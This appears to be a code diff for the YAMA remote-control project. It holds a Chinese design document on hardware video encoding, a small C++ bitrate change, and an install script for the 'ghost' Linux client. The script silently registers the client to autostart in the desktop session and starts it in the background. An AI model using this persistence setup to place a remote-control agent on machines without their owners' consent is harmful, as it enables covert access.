int CFFmpegH264Encoder::convertToNV12(uint8_t* rgb, uint8_t /*bpp*/,
|
||||||
|
uint32_t stride, uint32_t width, uint32_t height,
|
||||||
|
int direction)
|
||||||
|
{
|
||||||
|
int signed_height = direction * (int)height;
|
||||||
|
int y_size = width * height;
|
||||||
|
int uv_size = (width / 2) * (height / 2);
|
||||||
|
m_i420Scratch.resize(y_size + 2 * uv_size);
|
||||||
|
|
||||||
|
uint8_t* y = m_i420Scratch.data();
|
||||||
|
uint8_t* u = y + y_size;
|
||||||
|
uint8_t* v = u + uv_size;
|
||||||
|
|
||||||
|
libyuv::RGB24ToI420(
|
||||||
|
rgb, stride,
|
||||||
|
y, width,
|
||||||
|
u, width / 2,
|
||||||
|
v, width / 2,
|
||||||
|
width, signed_height
|
||||||
|
);
|
||||||
|
libyuv::I420ToNV12(
|
||||||
|
y, width,
|
||||||
|
u, width / 2,
|
||||||
|
v, width / 2,
|
||||||
|
m_frame->data[0], m_frame->linesize[0],
|
||||||
|
m_frame->data[1], m_frame->linesize[1],
|
||||||
|
width, height
|
||||||
|
);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6.4 CFFmpegAV1Encoder 设计
|
||||||
|
|
||||||
|
结构与 `CFFmpegH264Encoder` **完全对称**,仅 backend 名换:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
static const char* kAV1Backends[] = {
|
||||||
|
"av1_nvenc", // RTX 40+
|
||||||
|
"av1_amf", // RX 7000+
|
||||||
|
"av1_qsv", // Intel Arc / 部分 11 代+ 核显
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
参数差异(av1_nvenc 与 h264_nvenc 略有不同):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
if (strcmp(name, "av1_nvenc") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "p4", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "tune", "ll", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
// AV1 特有:tile-columns/rows 可调,多核解码更友好
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "tile-columns", 1, 0);
|
||||||
|
} else if (strcmp(name, "av1_amf") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "usage", "lowlatency", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "quality", "balanced", 0);
|
||||||
|
av_opt_set(m_ctx->priv_data, "rc", "cbr", 0);
|
||||||
|
} else if (strcmp(name, "av1_qsv") == 0) {
|
||||||
|
av_opt_set(m_ctx->priv_data, "preset", "medium", 0);
|
||||||
|
av_opt_set_int(m_ctx->priv_data, "async_depth", 1, 0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
实现建议:先把 `CFFmpegH264Encoder` 跑通稳定,**再把它复制改名做 AV1 版本**。同步两个类的逻辑可以后续考虑抽公共基类,但不要为了 DRY 提前抽。
|
||||||
|
|
||||||
|
### 6.5 EncoderFactory 与探测
|
||||||
|
|
||||||
|
`EncoderFactory.h`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#pragma once
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
struct ClientCapability {
|
||||||
|
bool supportAV1 = false;
|
||||||
|
bool supportH264 = true; // 假定都支持
|
||||||
|
};
|
||||||
|
|
||||||
|
struct EncoderRequest {
|
||||||
|
int width, height, fps;
|
||||||
|
int bitrate_kbps;
|
||||||
|
ClientCapability client;
|
||||||
|
};
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
|
||||||
|
```
|
||||||
|
|
||||||
|
`EncoderFactory.cpp`:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
#include "EncoderFactory.h"
|
||||||
|
#include "EncoderProbe.h"
|
||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "X264Encoder.h"
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
|
||||||
|
EncoderParams p;
|
||||||
|
p.width = req.width;
|
||||||
|
p.height = req.height;
|
||||||
|
p.fps = req.fps;
|
||||||
|
|
||||||
|
// 1. AV1 路径(仅当客户端支持且启动探测确认硬件可用)
|
||||||
|
if (req.client.supportAV1 && EncoderProbe::HasAV1Hw()) {
|
||||||
|
auto enc = std::make_unique<CFFmpegAV1Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: AV1 backend=%s", enc->backendName());
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
LOG_WARN("encoder: AV1 open failed, falling back to H.264");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. H.264 硬编路径
|
||||||
|
if (EncoderProbe::HasH264Hw()) {
|
||||||
|
auto enc = std::make_unique<CFFmpegH264Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: H264-HW backend=%s", enc->backendName());
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
LOG_WARN("encoder: H264 HW open failed, falling back to x264");
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. H.264 软编兜底(始终可用)
|
||||||
|
{
|
||||||
|
auto enc = std::make_unique<CX264Encoder>();
|
||||||
|
p.rc = RateControl::CRF;
|
||||||
|
p.crf = BitRateToCRF(req.bitrate_kbps);
|
||||||
|
if (enc->open(p)) {
|
||||||
|
LOG_INFO("encoder: H264-SW (libx264)");
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG_ERROR("encoder: all backends failed");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
要点:
|
||||||
|
- **不要**引入会话池(`HEVCSessionPool` 那套)—— 个人项目场景下不需要
|
||||||
|
- NVENC session 限制由 FFmpeg 自己报错,工厂捕获后自动降级
|
||||||
|
- 失败路径都打日志,方便定位
|
||||||
|
|
||||||
|
### 6.6 启动时一次性后端探测
|
||||||
|
|
||||||
|
避免每个新连接都重复尝试每个 backend:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// EncoderProbe.h
|
||||||
|
class EncoderProbe {
|
||||||
|
public:
|
||||||
|
static void RunOnce(); // 程序启动时调用一次
|
||||||
|
static bool HasAV1Hw();
|
||||||
|
static bool HasH264Hw();
|
||||||
|
static const char* PreferredAV1Backend(); // 第一个能用的 AV1 后端名
|
||||||
|
static const char* PreferredH264Backend();
|
||||||
|
};
|
||||||
|
|
||||||
|
// EncoderProbe.cpp 实现思路:
|
||||||
|
// 对每个候选后端尝试 alloc_context → open2 → free
|
||||||
|
// 用最低分辨率(如 640x480 @30fps)减少探测开销
|
||||||
|
// 结果缓存在静态变量,加 std::once_flag 保证线程安全
|
||||||
|
```
|
||||||
|
|
||||||
|
启动时探测 1 次,运行时 `CreateEncoder` 直接读结果。
|
||||||
|
|
||||||
|
### 6.7 ScreenCapture.h 改造
|
||||||
|
|
||||||
|
**当前**(`client/ScreenCapture.h:148, 926-930, 956-960`):
|
||||||
|
```cpp
|
||||||
|
CX264Encoder* m_encoder;
|
||||||
|
// ...
|
||||||
|
m_encoder = new CX264Encoder();
|
||||||
|
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
||||||
|
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
||||||
|
```
|
||||||
|
|
||||||
|
**改造后**:
|
||||||
|
```cpp
|
||||||
|
std::unique_ptr<VideoEncoderBase> m_encoder;
|
||||||
|
ClientCapability m_clientCap; // 握手阶段填入
|
||||||
|
// ...
|
||||||
|
if (!m_encoder) {
|
||||||
|
EncoderRequest req{
|
||||||
|
(int)width, (int)height, 20,
|
||||||
|
m_nBitRate > 0 ? m_nBitRate : (int)(width * height / 1266),
|
||||||
|
m_clientCap
|
||||||
|
};
|
||||||
|
m_encoder = CreateEncoder(req);
|
||||||
|
if (!m_encoder) return nullptr;
|
||||||
|
}
|
||||||
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height,
|
||||||
|
&encoded_data, &encoded_size);
|
||||||
|
```
|
||||||
|
|
||||||
|
注意:两处 `new CX264Encoder()` 提取成一个 `ensureEncoder()` 私有方法,避免重复。
|
||||||
|
|
||||||
|
### 6.8 协议握手(阶段二)
|
||||||
|
|
||||||
|
客户端浏览器 WebSocket 连接时上报:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": "client_capability",
|
||||||
|
"codecs": ["av1", "h264"]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
浏览器端探测脚本(JS):
|
||||||
|
|
||||||
|
```javascript
|
||||||
|
async function probeBrowserCodecs() {
|
||||||
|
const codecs = [];
|
||||||
|
if (typeof VideoDecoder !== 'undefined') {
|
||||||
|
// AV1 Main Profile, Level 4.0, 8-bit
|
||||||
|
const av1 = await VideoDecoder.isConfigSupported({ codec: 'av01.0.04M.08' });
|
||||||
|
if (av1.supported) codecs.push('av1');
|
||||||
|
}
|
||||||
|
codecs.push('h264'); // 兜底假定支持,<video> 标签也支持
|
||||||
|
return codecs;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**向后兼容**:老版本客户端不发 `codecs` 字段 → 服务端按 H.264 处理。`ClientCapability::supportAV1` 默认 false。
|
||||||
|
|
||||||
|
可参考 `docs/hevc_browser_decode_test.html`(改造一份 AV1 版本)做浏览器解码端到端验证。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. 像素格式与转换
|
||||||
|
|
||||||
|
保持与现有 x264 路径完全一致的做法:
|
||||||
|
|
||||||
|
- **硬编内部格式**:`AV_PIX_FMT_NV12`(NVENC/QSV/AMF 通用)
|
||||||
|
- **转换库**:libyuv(不引入 `sws_scale`)
|
||||||
|
- **BGRA → NV12**:`libyuv::ARGBToNV12` 直接
|
||||||
|
- **RGB24 → NV12**:libyuv 无直接 API,分两步 RGB24 → I420 → NV12
|
||||||
|
- **direction 参数**:沿用现有 `X264Encoder.cpp:136` 的写法(`direction * height` 作为乘子)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. 测试要求
|
||||||
|
|
||||||
|
### 8.1 单元测试
|
||||||
|
|
||||||
|
- `VideoEncoderBase` 各实现的 `open / encode / close` 生命周期
|
||||||
|
- `CFFmpegH264Encoder` 在缺失各后端时降级到下一个
|
||||||
|
- `EncoderFactory` 在不同 `ClientCapability` × 硬件能力 矩阵下返回正确后端
|
||||||
|
- `EncoderProbe::RunOnce()` 在不同 GPU 上的结果一致性
|
||||||
|
|
||||||
|
### 8.2 集成测试
|
||||||
|
|
||||||
|
| 场景 | 期望 |
|
||||||
|
|---|---|
|
||||||
|
| 客户端支持 AV1 + 编码端 RTX 40 | 使用 AV1(`av1_nvenc`) |
|
||||||
|
| 客户端支持 AV1 + 编码端 GTX 1080 | 降级 H.264 硬编(`h264_nvenc`) |
|
||||||
|
| 客户端不支持 AV1 + 编码端任意 | H.264(硬编优先) |
|
||||||
|
| 编码端无 GPU / 虚拟机 | x264 软编 |
|
||||||
|
| 编码端集显 + 独显 | 优先级中第一个成功的后端 |
|
||||||
|
| 中途客户端能力变化 | 当前连接不变;下次握手按新能力 |
|
||||||
|
| H264 硬编创建失败 | 自动回落 x264 软编,连接不断 |
|
||||||
|
|
||||||
|
### 8.3 硬件验证矩阵
|
||||||
|
|
||||||
|
| 编码端 | 客户端浏览器 | 期望 |
|
||||||
|
|---|---|---|
|
||||||
|
| RTX 40 / 50 | Chrome / Firefox / Edge | AV1 |
|
||||||
|
| GTX 10/16 / RTX 20/30 | Chrome / Firefox / Edge | H.264 NVENC |
|
||||||
|
| Intel Arc | Chrome / Firefox | AV1(`av1_qsv`) |
|
||||||
|
| Intel 12 代+ 核显 | Chrome / Firefox | H.264 QSV |
|
||||||
|
| AMD RX 7000+ | Chrome / Firefox | AV1(`av1_amf`) |
|
||||||
|
| AMD 老卡 | Chrome / Firefox | H.264 AMF |
|
||||||
|
| 虚拟机 / 远程桌面会话 | 任意 | x264 软编 |
|
||||||
|
| iOS Safari < 17 | 任意编码端 | H.264 |
|
||||||
|
| iOS Safari ≥ 17(A17 Pro+) | 任意编码端 | AV1 优先 |
|
||||||
|
|
||||||
|
### 8.4 体积验证
|
||||||
|
|
||||||
|
- exe 体积增量 < 12 MB(vcpkg 静态链接,含 AV1+H264 全后端)
|
||||||
|
- 若超出明显,检查 vcpkg feature 是否引入了不需要的 codec
|
||||||
|
|
||||||
|
### 8.5 回归测试(关键)
|
||||||
|
|
||||||
|
每一步改造后必须验证:
|
||||||
|
- 现有 x264 软编通路完全可用(在禁用所有硬编后端的环境下)
|
||||||
|
- 现有客户端(不发 `codecs` 字段)可正常工作
|
||||||
|
- 编码码流向后兼容,老客户端能解
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. 已知风险与注意事项
|
||||||
|
|
||||||
|
### 9.1 多 GPU 跨适配器
|
||||||
|
笔记本集显+独显场景,FFmpeg 默认走主显卡。可能报 "failed to create device"。**Catch 后回落到下一个后端**,不要直接终止。
|
||||||
|
|
||||||
|
### 9.2 第一帧延迟
|
||||||
|
FFmpeg 硬编可能在首次 `send_frame` 后 `receive_packet` 返回 `EAGAIN`。调用方代码必须能处理 `*lpSize == 0` 的情况(返回 0 表示成功但本次无输出)。`ScreenCapture::GetNextScreenData` 当前 `encoded_size == 0` 会怎么处理需要确认。
|
||||||
|
|
||||||
|
### 9.3 NVENC session 数限制
|
||||||
|
NVIDIA **消费级**卡(GeForce)有 NVENC session 上限(驱动 522.25+ 起 3 个,更新版可能放宽到 5)。多连接超限时 `open` 失败 → 工厂自动降级到 QSV/AMF/x264。**不要做"会话池"提前拦截** —— 让 FFmpeg 自己报错,工厂处理。
|
||||||
|
|
||||||
|
### 9.4 浏览器解 AV1 的硬件依赖
|
||||||
|
- 桌面 Chrome/Firefox/Edge:软解兜底(CPU 占用高,但能用)
|
||||||
|
- 移动端:iPhone 15 Pro+ / M3+ 才有 AV1 硬解,老设备只能软解(可能卡)
|
||||||
|
- `isConfigSupported` 报 true 不等于跑得流畅。**建议握手时也带上设备类型**,弱设备强制走 H.264
|
||||||
|
|
||||||
|
### 9.5 LGPL 静态链接合规
|
||||||
|
个人项目暂搁置。商用前需法务确认(FFmpeg 源代码提供、重新链接能力等)。
|
||||||
|
|
||||||
|
### 9.6 配置项(建议)
|
||||||
|
|
||||||
|
建议做成 INI/JSON:
|
||||||
|
```
|
||||||
|
encoder.prefer_av1 = true
|
||||||
|
encoder.h264.bitrate_default = 4000 (kbps)
|
||||||
|
encoder.fallback_to_x264 = true
|
||||||
|
encoder.probe_at_startup = true
|
||||||
|
encoder.disable_h264_mf = true (h264_mf 质量一般,可禁用)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 9.7 日志要求
|
||||||
|
|
||||||
|
关键路径必须有日志:
|
||||||
|
- 启动探测结果:每个后端是否可用 + 失败原因(`av_err2str`)
|
||||||
|
- 每个连接选定的 `codec` + `backend`(INFO)
|
||||||
|
- 后端打开失败 + 回落(WARN)
|
||||||
|
- 编码过程中的异常(ERROR)
|
||||||
|
|
||||||
|
### 9.8 线程安全
|
||||||
|
- 每个编码器实例不跨线程
|
||||||
|
- `EncoderProbe` 单例首次初始化加 `std::once_flag`
|
||||||
|
- FFmpeg 新版本不需要全局初始化(`av_register_all` 已废弃)
|
||||||
|
|
||||||
|
### 9.9 与现有 `DISABLE_X264_FOR_TEST` 编译开关协同
|
||||||
|
项目已有 `DISABLE_X264_FOR_TEST` 宏(见 `X264Encoder.cpp:5`)和最近 `c0a632a` 提交"Compliance: Add building option to disable x264 and ffmpeg"。新代码须遵循同样的可禁用约定:
|
||||||
|
- `ENABLE_HW_ENCODER` 关闭时整个 `CFFmpegH264Encoder` / `CFFmpegAV1Encoder` 编译为空实现或不参与链接
|
||||||
|
- 工厂在该宏关闭时直接返回 `CX264Encoder`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. 实现顺序建议
|
||||||
|
|
||||||
|
**每一步独立可合入**,每一步完成后 x264 通路必须可用、客户端无感知。
|
||||||
|
|
||||||
|
### Step 0:抽象层(零功能改动)
|
||||||
|
1. 新建 `VideoEncoderBase.h`,定义接口 + `EncoderParams` + `RateControl`
|
||||||
|
2. `CX264Encoder` 改造继承 `VideoEncoderBase`:
|
||||||
|
- 新增 `forceIDR()`(设置一个标志,下次 encode 时通过 `x264_picture_t::i_type = X264_TYPE_IDR`)
|
||||||
|
- 实现 `codec()` 返回 `H264`
|
||||||
|
- 实现 `backendName()` 返回 `"x264"`
|
||||||
|
- 旧 `open(w, h, fps, crf)` 签名保留,转调新的 `open(EncoderParams)`
|
||||||
|
3. `ScreenCapture::m_encoder` 改 `std::unique_ptr<VideoEncoderBase>`,但仍直接 `new CX264Encoder`
|
||||||
|
4. **不引 FFmpeg、不引工厂**
|
||||||
|
5. 验证:H.264 通路完全不变,对外行为零变化
|
||||||
|
|
||||||
|
### Step 1:FFmpeg 集成 + `h264_nvenc` 单后端
|
||||||
|
1. vcpkg 安装 `ffmpeg[core,nvcodec]:x64-windows-static-md`
|
||||||
|
2. 工程添加包含目录 / 库目录 / 系统库
|
||||||
|
3. 新建 `CFFmpegH264Encoder`,仅实现 `h264_nvenc`
|
||||||
|
4. 在 `ScreenCapture` 加临时开关:硬编码切到 `CFFmpegH264Encoder` 跑一下
|
||||||
|
5. 用浏览器解码 demo 验证码流能解
|
||||||
|
6. 体积验证(应 +4–6 MB)
|
||||||
|
|
||||||
|
### Step 2:扩展 H.264 硬编后端
|
||||||
|
1. `CFFmpegH264Encoder` 加 `h264_qsv` / `h264_amf` 探测
|
||||||
|
2. 顺序:`nvenc → qsv → amf`(`mf` 可暂不接)
|
||||||
|
3. 不同后端的参数适配(见 §6.3.2)
|
||||||
|
4. 测试 Intel 核显 + AMD 卡
|
||||||
|
|
||||||
|
### Step 3:工厂 + 软编兜底
|
||||||
|
1. 新建 `EncoderFactory` / `EncoderProbe`
|
||||||
|
2. 工厂按 `H264 硬编 → x264 软编` 顺序
|
||||||
|
3. `ScreenCapture` 改用工厂(消除两处 `new CX264Encoder`)
|
||||||
|
4. 测试无 GPU 环境降级到 x264
|
||||||
|
|
||||||
|
### Step 4:AV1 路径(独立闭环)
|
||||||
|
1. 重跑 vcpkg:`ffmpeg[core,nvcodec,amf,qsv]:x64-windows-static-md`
|
||||||
|
2. 新建 `CFFmpegAV1Encoder`,结构与 H.264 对称(直接 copy + 改 backend 名 + 调参)
|
||||||
|
3. `EncoderProbe` 加 AV1 探测
|
||||||
|
4. 工厂前置 AV1 路径
|
||||||
|
5. 硬件验证矩阵执行
|
||||||
|
|
||||||
|
### Step 5:握手协商 + 浏览器探测
|
||||||
|
1. 客户端 JS `isConfigSupported` 探测 AV1 / H.264
|
||||||
|
2. WebSocket 握手字段 `codecs` 上报
|
||||||
|
3. 服务端解析后填入 `ClientCapability`
|
||||||
|
4. 老客户端向后兼容(无 `codecs` 字段 → 默认 H.264)
|
||||||
|
5. 端到端验证:编码端 RTX 40 + 浏览器 Chrome 走 AV1,回落场景走 H.264
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. 不在本次范围
|
||||||
|
|
||||||
|
- HEVC 编码(决策已排除,见 §1.3.1)
|
||||||
|
- 软编 AV1(libaom / SVT-AV1,CPU 占用不适合远控)
|
||||||
|
- 运行中动态切换 codec(需要切换就重连)
|
||||||
|
- 转发流(1 路编码多路分发)
|
||||||
|
- 桌面捕获共享
|
||||||
|
- 客户端浏览器解码具体实现(可参考 `docs/hevc_browser_decode_test.html` 改 AV1 版本验证)
|
||||||
|
- Linux/macOS 移植
|
||||||
|
- FFmpeg DLL 形式分发
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. 参考资料
|
||||||
|
|
||||||
|
- FFmpeg 编码器列表:`ffmpeg -encoders | grep -E "h264|av1"`
|
||||||
|
- NVENC 参数:`ffmpeg -h encoder=h264_nvenc`、`ffmpeg -h encoder=av1_nvenc`
|
||||||
|
- QSV 参数:`ffmpeg -h encoder=h264_qsv`、`ffmpeg -h encoder=av1_qsv`
|
||||||
|
- AMF 参数:`ffmpeg -h encoder=h264_amf`、`ffmpeg -h encoder=av1_amf`
|
||||||
|
- NVIDIA Video Codec Support Matrix:https://developer.nvidia.com/video-encode-and-decode-gpu-support-matrix-new
|
||||||
|
- WebCodecs API:https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API
|
||||||
|
- libyuv:https://chromium.googlesource.com/libyuv/libyuv/
|
||||||
|
- vcpkg ffmpeg port:https://github.com/microsoft/vcpkg/tree/master/ports/ffmpeg
|
||||||
|
- FFmpeg HWAccel Intro:https://trac.ffmpeg.org/wiki/HWAccelIntro
|
||||||
|
- AOMedia AV1:https://aomedia.org/
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**文档结束**
|
||||||
|
|
||||||
|
实现时如遇到本文档未覆盖的设计抉择,优先选择**简单、与现有 x264 通路对称、不破坏已有功能、不增加运行时外部依赖**的方案,并在代码注释中说明决策依据。
|
||||||
@@ -926,6 +926,7 @@ public:
|
|||||||
const QualityProfile& profile = GetQualityProfile(m_qualityLevel);
|
const QualityProfile& profile = GetQualityProfile(m_qualityLevel);
|
||||||
m_maxFPS.store(profile.maxFPS);
|
m_maxFPS.store(profile.maxFPS);
|
||||||
m_bAlgorithm.store(GetEffectiveAlgorithm(profile.algorithm));
|
m_bAlgorithm.store(GetEffectiveAlgorithm(profile.algorithm));
|
||||||
|
m_h264Bitrate = profile.bitRate;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
152
linux/install.sh
Executable file
152
linux/install.sh
Executable file
@@ -0,0 +1,152 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# YAMA Ghost (Linux client) — install + autostart deployment
|
||||||
|
#
|
||||||
|
# 用法(在解压/克隆后的 linux/ 目录下):
|
||||||
|
# ./install.sh # 默认安装到 ~/.local/bin/ghost
|
||||||
|
# ./install.sh /opt/yama # 安装到 /opt/yama/ghost(如需要会自动 sudo)
|
||||||
|
#
|
||||||
|
# 行为:
|
||||||
|
# 1. 复制 ghost 二进制到目标位置并加可执行权
|
||||||
|
# 2. 注册 XDG Autostart(~/.config/autostart/ghost.desktop)
|
||||||
|
# 3. 可选立即启动一次(继承当前桌面会话的 X 环境)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ---- 防止以 root 直接运行 ----
|
||||||
|
# 用 sudo 跑会让 $HOME 变成 /root(或 sudo 配置决定的值),
|
||||||
|
# autostart 写到 /root/.config/autostart/,桌面用户的 session 看不见,
|
||||||
|
# 自启动完全失效。需要 sudo 的地方(如装到 /opt/...),脚本会按需自调用 sudo。
|
||||||
|
if [[ "${EUID:-$(id -u)}" -eq 0 ]]; then
|
||||||
|
echo "请用普通用户身份运行此脚本,不要 sudo。" >&2
|
||||||
|
echo "如目标目录需要 root 权限,脚本会按需自动调用 sudo。" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 颜色 ----
|
||||||
|
if [[ -t 1 ]]; then
|
||||||
|
C_RED=$'\033[31m'; C_GREEN=$'\033[32m'; C_YELLOW=$'\033[33m'
|
||||||
|
C_BLUE=$'\033[34m'; C_BOLD=$'\033[1m'; C_RESET=$'\033[0m'
|
||||||
|
else
|
||||||
|
C_RED=''; C_GREEN=''; C_YELLOW=''; C_BLUE=''; C_BOLD=''; C_RESET=''
|
||||||
|
fi
|
||||||
|
|
||||||
|
info() { echo "${C_BLUE}[INFO]${C_RESET} $*"; }
|
||||||
|
ok() { echo "${C_GREEN}[ OK ]${C_RESET} $*"; }
|
||||||
|
warn() { echo "${C_YELLOW}[WARN]${C_RESET} $*"; }
|
||||||
|
error() { echo "${C_RED}[FAIL]${C_RESET} $*" >&2; }
|
||||||
|
|
||||||
|
# ---- 路径解析 ----
|
||||||
|
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||||
|
SRC_BIN="${SCRIPT_DIR}/ghost"
|
||||||
|
|
||||||
|
# 安装目标目录(参数 $1,默认 ~/.local/bin)
|
||||||
|
INSTALL_DIR="${1:-${HOME}/.local/bin}"
|
||||||
|
DEST_BIN="${INSTALL_DIR}/ghost"
|
||||||
|
|
||||||
|
AUTOSTART_DIR="${XDG_CONFIG_HOME:-${HOME}/.config}/autostart"
|
||||||
|
AUTOSTART_FILE="${AUTOSTART_DIR}/ghost.desktop"
|
||||||
|
|
||||||
|
echo "${C_BOLD}YAMA Ghost Linux 安装${C_RESET}"
|
||||||
|
echo " 源: ${SRC_BIN}"
|
||||||
|
echo " 目标: ${DEST_BIN}"
|
||||||
|
echo " 自启动: ${AUTOSTART_FILE}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---- 前置检查 ----
|
||||||
|
if [[ ! -f "${SRC_BIN}" ]]; then
|
||||||
|
error "找不到 ghost 二进制 ${SRC_BIN}"
|
||||||
|
error "请把 install.sh 放在 ghost 同目录后再运行"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! file "${SRC_BIN}" 2>/dev/null | grep -q "ELF.*executable"; then
|
||||||
|
error "${SRC_BIN} 不是有效的 ELF 可执行文件"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 判断目标目录是否需要 sudo
|
||||||
|
# 三种情况都要走 sudo 分支:
|
||||||
|
# a) 目录不存在且父目录无写权(如 /opt/yama 父是 /opt root-owned)
|
||||||
|
# b) 目录已存在但当前用户无写权(如已存在的 /usr/local/bin root-owned)
|
||||||
|
# c) 介于两者之间的情况由 mkdir 的退出码决定
|
||||||
|
NEED_SUDO=""
|
||||||
|
if [[ -d "${INSTALL_DIR}" ]]; then
|
||||||
|
[[ -w "${INSTALL_DIR}" ]] || NEED_SUDO="sudo"
|
||||||
|
else
|
||||||
|
if ! mkdir -p "${INSTALL_DIR}" 2>/dev/null; then
|
||||||
|
NEED_SUDO="sudo"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
if [[ -n "${NEED_SUDO}" ]]; then
|
||||||
|
info "目标目录需要 root 权限,将使用 sudo(可能需要输入密码)"
|
||||||
|
${NEED_SUDO} mkdir -p "${INSTALL_DIR}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 1. 如已运行则先停止 ----
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "检测到 ghost 进程正在运行,先停止以替换二进制"
|
||||||
|
pkill -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
warn "进程未优雅退出,强制 kill"
|
||||||
|
pkill -9 -x ghost || true
|
||||||
|
sleep 1
|
||||||
|
fi
|
||||||
|
ok "旧进程已停止"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 2. 复制二进制 ----
|
||||||
|
info "复制 ghost 到 ${DEST_BIN}"
|
||||||
|
${NEED_SUDO} install -m 0755 "${SRC_BIN}" "${DEST_BIN}"
|
||||||
|
ok "二进制已部署 (mode 0755)"
|
||||||
|
|
||||||
|
# ---- 3. 写 XDG Autostart 文件 ----
|
||||||
|
mkdir -p "${AUTOSTART_DIR}"
|
||||||
|
cat > "${AUTOSTART_FILE}" <<EOF
|
||||||
|
[Desktop Entry]
|
||||||
|
Type=Application
|
||||||
|
Name=YAMA Ghost
|
||||||
|
Comment=YAMA remote control client
|
||||||
|
Exec=${DEST_BIN}
|
||||||
|
Terminal=false
|
||||||
|
X-GNOME-Autostart-enabled=true
|
||||||
|
NoDisplay=true
|
||||||
|
StartupNotify=false
|
||||||
|
EOF
|
||||||
|
ok "Autostart 已注册"
|
||||||
|
|
||||||
|
# 验证 .desktop 格式(如果系统装了 desktop-file-validate)
|
||||||
|
if command -v desktop-file-validate >/dev/null 2>&1; then
|
||||||
|
if desktop-file-validate "${AUTOSTART_FILE}" >/dev/null 2>&1; then
|
||||||
|
ok "Autostart 文件格式验证通过"
|
||||||
|
else
|
||||||
|
warn "desktop-file-validate 报告了警告,但通常不影响功能"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---- 4. 可选:立即启动 ----
|
||||||
|
echo ""
|
||||||
|
echo -n "${C_BOLD}是否立即启动 ghost(验证 X 环境)?[Y/n]${C_RESET} "
|
||||||
|
read -r ans
|
||||||
|
if [[ -z "${ans}" || "${ans}" =~ ^[Yy]$ ]]; then
|
||||||
|
if [[ -z "${DISPLAY:-}" ]]; then
|
||||||
|
warn "当前 shell 没有 DISPLAY 变量,可能不在桌面会话内 — 启动后远控仍可能 0x0"
|
||||||
|
warn "建议在 GNOME 终端/桌面环境的终端里运行此脚本"
|
||||||
|
fi
|
||||||
|
nohup "${DEST_BIN}" >/dev/null 2>&1 &
|
||||||
|
sleep 1
|
||||||
|
if pgrep -x ghost > /dev/null; then
|
||||||
|
ok "ghost 已启动 (PID=$(pgrep -x ghost | head -1))"
|
||||||
|
else
|
||||||
|
error "启动失败,请手动跑 ${DEST_BIN} 看错误输出"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
